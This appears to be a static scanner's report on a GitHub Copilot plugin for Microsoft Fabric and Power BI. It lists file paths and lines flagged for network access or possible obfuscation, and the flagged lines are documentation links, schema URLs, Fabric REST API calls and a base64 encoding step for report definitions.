2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI. - Network accessline 116
Base URL: `https://api.fabric.microsoft.com/v1` - Network accessline 181
**Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l - Network accessline 188
> **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam - Network accessline 273
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation - Network accessline 306
https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path> - Network accessline 317
OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`. - Network accessline 321
> Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/ITEM-DEFINITIONS-CORE.md
- Network accessline 37
> Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format - Network accessline 73
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 77
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition - Network accessline 114
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition - Network accessline 157
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition - Network accessline 181
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition - Network accessline 182
> JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche - Network accessline 183
> Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report - Network accessline 212
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition - Network accessline 255
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition - Network accessline 293
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition - Network accessline 340
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition - Network accessline 341
> REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items - Network accessline 370
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 371
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json", - Network accessline 401
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 402
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 410
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 411
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json", - Network accessline 421
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 422
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json", - Network accessline 446
> Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities - Network accessline 509
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition - Network accessline 522
> Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition - Network accessline 555
| Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 556
|---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http - Network accessline 557
| KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | - Network accessline 558
| KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) | - Network accessline 559
| CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) | - Network accessline 560
| Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) | - Network accessline 561
| DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) | - Network accessline 562
| Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) | - Network accessline 563
| EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) | - Network accessline 564
| GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) | - Network accessline 565
| GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) | - Network accessline 566
| HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) | - Network accessline 567
| MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) | - Network accessline 568
| MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) | - Network accessline 569
| MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) | - Network accessline 570
| Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) | - Network accessline 571
| SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) | - Network accessline 573
> Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item - Network accessline 574
> Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/SKILL.md
- Network accessline 139
**Prerequisite: Node.js 20 or later.** Check with `node --version`. If missing or older, install from [nodejs.org](https://nodejs.org/) or via your package - Network accessline 140
or older, install from [nodejs.org](https://nodejs.org/) or via your package - Network accessline 142
Linux: distro package or [nodesource](https://github.com/nodesource/distributions). - Network accessline 323
| Output/error | Meaning | Action | |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask th - Network accessline 324
|--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview fea - Network accessline 325
| `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview feature — see [docs](https://aka.ms/Rep - Network accessline 326
| `AMBIGUOUS_DESKTOP_INSTANCE` | More than one Desktop Bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge me - Network accessline 327
| `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported — see [docs](https://aka.ms/Report_Authoring_skill_LearnDocs) | - Network accessline 410
For Microsoft Learn setup guidance, support constraints, and feature availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs). - Network accessline 411
availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/authoring.md
- Network accessline 69
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 70
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 89
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 90
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 202
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json", - Network accessline 203
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/card.md
- Network accessline 27
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 28
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 63
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 64
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/cartesian.md
- Network accessline 46
> **Schema version rule:** Copy the `$schema` URL from an existing `visual.json` in the same report. > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/sc - Network accessline 47
> If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json`. - Network accessline 845
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 846
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 881
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 882
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 987
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 988
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1113
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1114
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1297
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 1298
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/image.md
- Network accessline 32
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 33
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 104
- The URL must point **directly to an image file** (e.g., ending in `.jpg`, `.png`, `.gif`, `.bmp`, `.svg`), not a webpage containing the image. - Use **HTTPS** URLs — HTTP may work in Desktop but can be blocked by the Power BI Service. - R - Network accessline 106
- Reference: https://community.fabric.microsoft.com/t5/Desktop/Image-URL-creation/td-p/1910627 - Network accessline 109
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 110
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 200
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 201
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/map.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-desktop.md
- Network accessline 152
|--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect - Network accessline 153
| `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge- - Network accessline 154
| `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-<pid>` | Desktop is running, but the bridge pipe is not available | In Desktop, open **File > Options and settings > Options > Preview features**, enable **Enable externa - Network accessline 155
| `AMBIGUOUS_DESKTOP_INSTANCE` | More than one bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, and retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method - Network accessline 156
| `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported for this workflow and link [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs) for
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/shape.md
- Network accessline 18
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 19
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 160
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 161
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/slicers.md
- Network accessline 67
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 68
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 273
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 274
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/table.md
- Network accessline 24
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 25
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 78
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 79
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/textbox.md
- Network accessline 14
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 15
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 62
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json", - Network accessline 63
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/theming.md
- Network accessline 132
Set `"$schema"` to a published `reportThemeSchema-<major>.<minor>.json` from the [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/). - Network accessline 133
[powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/). - Network accessline 531
"icons": { "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" }, - Network accessline 532
"customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" }, - Network accessline 533
"customStar": { "url": "https://example.com/star.svg", "description": "Star rating" }
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/assets/base.json
- Network accessline 1
{ "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json", - Network accessline 2
"$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management/SKILL.md
- Possible obfuscationline 52
| `base64` | Encode/decode PBIR file content for definition payloads | Built-in on Linux/macOS · Windows: use PowerShell `[Convert]::ToBase64String()` / `FromBase64String()` | - Network accessline 55
> > ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" - Network accessline 56
> ```bash > az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" > ``` - Network accessline 57
> az version 2>/dev/null || echo "INSTALL: https://learn.microsoft.com/cli/azure/install-azure-cli" - Network accessline 64
| API | Audience (`--resource`) | |---|---| | Fabric Report Items API | `https://api.fabric.microsoft.com` | - Network accessline 66
| Fabric Report Items API | `https://api.fabric.microsoft.com` | - Network accessline 86
REPORT_NAME="Sales Report" REPORT_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 87
REPORT_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 104
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 105
--resource "https://api.fabric.microsoft.com" \ - Network accessline 106
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 121
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--resource "https://api.fabric.microsoft.com" \ - Network accessline 123
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" - Network accessline 139
RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
--resource "https://api.fabric.microsoft.com" \ - Network accessline 141
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/getDefinition?format=PBIR" \ - Network accessline 180
rel="${file#./report-definition/}" payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 181
payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ '{path:$p, payload:$b, payloadType:"InlineBase64"}' - Network accessline 182
jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 193
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 194
--resource "https://api.fabric.microsoft.com" \ - Network accessline 195
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports" \ - Network accessline 221
rel="${file#./report-definition/}" payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 222
payload=$(base64 < "$file" | tr -d '\n') jq -nc --arg p "$rel" --arg b "$payload" \ '{path:$p, payload:$b, payloadType:"InlineBase64"}' - Network accessline 223
jq -nc --arg p "$rel" --arg b "$payload" \ - Network accessline 231
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 232
--resource "https://api.fabric.microsoft.com" \ - Network accessline 233
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID/updateDefinition" \ - Network accessline 260
az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 261
--resource "https://api.fabric.microsoft.com" \ - Network accessline 262
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" \ - Network accessline 275
# Soft delete (recoverable) az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 276
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 277
--resource "https://api.fabric.microsoft.com" \ - Network accessline 278
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID" - Network accessline 280
# Hard delete (permanent) az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 281
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 282
--resource "https://api.fabric.microsoft.com" \ - Network accessline 283
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/reports/$REPORT_ID?hardDelete=true" - Network accessline 316
For more details, see [Long-Running Operations](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation). - Network accessline 347
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 348
"$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definitionProperties/2.0.0/schema.json", - Network accessline 362
- **ALL PBIR content MUST go through the `powerbi-report-authoring` skill** — this is the single most important rule. Whether creating a brand-new report or modifying an existing one, every PBIR file (`definition.pbir`, `report.json`, `vers - Network accessline 363
- **Always pass `--resource "https://api.fabric.microsoft.com"`** to `az rest` — omitting it causes silent auth failures. - Network accessline 524
| Error | Cause | Fix | |---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | - Network accessline 525
|---|---|---| | `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` | Insufficient permissions | Check workspace role (Contributor+ for write ops) | - Network accessline 526
| `401 Unauthorized` | Wrong or missing `--resource` audience | Always pass `--resource "https://api.fabric.microsoft.com"` |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/SKILL.md
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/connection-binding.md
- Network accessline 5
This API supersedes the legacy Power BI [Bind to Gateway in Group](https://learn.microsoft.com/rest/api/power-bi/datasets/bind-to-gateway-in-group). It supports gateway, cloud, virtual network, automatic, and unbind (`None`) connectivity ty - Network accessline 7
> **Reference docs** > - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 8
> - [Bind Semantic Model Connection](https://learn.microsoft.com/rest/api/fabric/semanticmodel/items/bind-semantic-model-connection) - Network accessline 9
> - [List Item Connections](https://learn.microsoft.com/rest/api/fabric/core/items/list-item-connections) - Network accessline 10
> - [List Connections](https://learn.microsoft.com/rest/api/fabric/core/connections/list-connections) - Network accessline 11
> - [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 18
- Delegated scope: `SemanticModel.ReadWrite.All` or `Item.ReadWrite.All`. - Identities: User, Service Principal, Managed Identity. - Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 20
- Fabric audience for `az rest`: `https://api.fabric.microsoft.com`. - Network accessline 31
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/semanticModels/{semanticModelId}/bindConnection - Network accessline 87
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 88
--resource "https://api.fabric.microsoft.com" \ - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/connections" - Network accessline 97
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 98
--resource "https://api.fabric.microsoft.com" \ - Network accessline 99
--url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 106
If no matching connection exists, create one with [Create Connection](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) before continuing. - Network accessline 130
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 131
--resource "https://api.fabric.microsoft.com" \ - Network accessline 132
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/semanticModels/$MODEL_ID/bindConnection" \ - Network accessline 185
- Submit **one request per data source reference**. The API rejects bulk payloads. - Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize t - Network accessline 186
- Use the **exact** `connectionDetails.type` and `connectionDetails.path` from `List Item Connections` - do not reformat, lowercase, or otherwise normalize them. - Authenticate against the Fabric audience (`https://api.fabric.microsoft.com` - Network accessline 187
- Authenticate against the Fabric audience (`https://api.fabric.microsoft.com`), not the Power BI audience.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-decision-guide.md
- Network accessline 382
- [Analysis Services trace events](https://learn.microsoft.com/analysis-services/trace-events/analysis-services-trace-events) - Network accessline 383
- [Horizontal fusion in Power BI and Analysis Services](https://powerbi.microsoft.com/en-us/blog/announcing-horizontal-fusion-a-query-performance-optimization-in-power-bi-and-analysis-services/) - Network accessline 384
- [Understand Direct Lake query performance](https://learn.microsoft.com/fabric/fundamentals/direct-lake-understand-storage)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-patterns.md
- Network accessline 804
Two approaches: - **Spark:** `spark.conf.set("spark.sql.parquet.vorder.default", "true")`, then run `OPTIMIZE` for existing Delta tables. - **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.co - Network accessline 806
- **Fabric resource profile:** Use the [`readHeavyForPBI` resource profile](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations), which enables V-Order-oriented write settings for Power BI rea
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/direct-lake-guidelines.md
- Network accessline 34
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 35
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 44
expression 'DL_Sales_Named_Expression' = let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) - Network accessline 45
let Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true]) in - Network accessline 46
Source = AzureStorage.DataLake("https://onelake.dfs.fabric.microsoft.com/[WORKSPACE_ID]/[LAKEHOUSE_ID]", [HierarchicalNavigation=true])
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/metadata-discovery.md
- Network accessline 182
- **Issue:** `INFO.ROLEMEMBERSHIPS()` returns empty or incomplete results. - **Cause:** Role members are assigned at the service level (Entra ID) after deployment, not in the model definition — so DAX `INFO` functions cannot reliably surf - Network accessline 184
- **Fix:** Redirect to [Manage role membership documentation](https://learn.microsoft.com/en-us/fabric/security/service-admin-row-level-security#manage-role-membership) for current guidance on role membership management.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/pbip.md
- Network accessline 38
{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/semanticModel/definitionProperties/1.0.0/schema.json", - Network accessline 39
